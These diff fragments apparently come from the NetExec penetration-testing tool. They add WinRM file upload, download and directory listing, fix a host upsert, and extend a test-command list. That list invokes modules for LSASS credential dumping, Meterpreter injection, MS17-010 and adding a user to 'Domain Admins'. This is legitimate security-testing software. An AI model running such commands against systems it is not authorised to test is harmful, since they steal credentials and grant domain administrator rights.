||||
if get_output:
|
||||
return result
|
||||
|
||||
def get_file(self, remote_path=None, download_path=None):
|
||||
remote_path = remote_path if remote_path else self.args.get_file[0]
|
||||
local_path = download_path if download_path else self.args.get_file[1]
|
||||
|
||||
# Do a bit of smart handling for the local file path
|
||||
if local_path.endswith("/"):
|
||||
local_path += ntpath.basename(remote_path)
|
||||
try:
|
||||
self.logger.display(f'Downloading "{remote_path}" to "{local_path}"')
|
||||
self.conn.fetch(remote_path, local_path)
|
||||
self.logger.success(f"File {remote_path} has been saved to {local_path}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to get file {remote_path}, error: {e!s}")
|
||||
|
||||
def put_file(self, local_path=None, remote_path=None):
|
||||
local_path = local_path if local_path else self.args.put_file[0]
|
||||
remote_path = remote_path if remote_path else self.args.put_file[1]
|
||||
|
||||
# Do a bit of smart handling for the remote file path
|
||||
remote_path += os.path.basename(local_path) if remote_path.endswith(("\\", "/")) else ""
|
||||
try:
|
||||
self.logger.display(f'Uploading "{local_path}" to "{remote_path}"')
|
||||
self.conn.copy(local_path, remote_path)
|
||||
self.logger.success(f"File {local_path} has been uploaded to {remote_path}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to put file {local_path} to {remote_path}, error: {e!s}")
|
||||
|
||||
def dir(self, directory=None):
|
||||
directory = directory if directory else self.args.dir
|
||||
out = self.execute(f"dir {directory}", True)
|
||||
if out is not None:
|
||||
for line in out.splitlines():
|
||||
self.logger.highlight(line.rstrip())
|
||||
|
||||
# Dos attack prevent:
|
||||
# if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file,
|
||||
# when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?"
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, func, delete
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
|
||||
@@ -28,6 +28,7 @@ class database(BaseDB):
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("ip"),
|
||||
)
|
||||
|
||||
class User(Base):
|
||||
@@ -122,7 +123,7 @@ class database(BaseDB):
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
|
||||
self.db_execute(q, hosts)
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
|
||||
@@ -19,8 +19,15 @@ def proto_args(parser, parents):
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
|
||||
|
||||
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
|
||||
|
||||
files_group = winrm_parser.add_argument_group("File Operations")
|
||||
files_group.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
files_group.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
|
||||
cgroup = winrm_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--codec", default="437", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
|
||||
Generated
+3
-3
@@ -493,14 +493,14 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "certihound"
|
||||
version = "0.1.1"
|
||||
version = "0.2.0"
|
||||
description = "Linux-native AD CS collector library for BloodHound CE - enumerate ADCS and export to BloodHound format"
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "certihound-0.1.1-py3-none-any.whl", hash = "sha256:9e22eb8d465b4ac2ffb9c2f2db1d3998ab44b5acfcf9f8e7b65136acb1855112"},
|
||||
{file = "certihound-0.1.1.tar.gz", hash = "sha256:9c4006dd682e927bd7f1e0e1e4f2fae0a00c9ef10f971344f5a3d9d96f1289d7"},
|
||||
{file = "certihound-0.2.0-py3-none-any.whl", hash = "sha256:771dc745a9e66c5f03b6c6a2c3574355b4c1a0a959c391ad57233599be2dfcf3"},
|
||||
{file = "certihound-0.2.0.tar.gz", hash = "sha256:fc8b3c357a91f8845bac34d91e7a8d644aa4d61db09d880249bb5e544a0a100a"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
|
||||
@@ -114,6 +114,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins"
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
|
||||
@@ -229,6 +231,8 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-net
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins"
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k -o ALL=true
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets
|
||||
@@ -328,3 +332,4 @@ netexec nfs TARGET_HOST -u "" -p "" --shares
|
||||
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
|
||||
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
|
||||
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
|
||||
netexec nfs TARGET_HOST -u "" -p "" --chmod 666 /NFStest/test/test.txt
|
||||
Reference in new issue
Block a user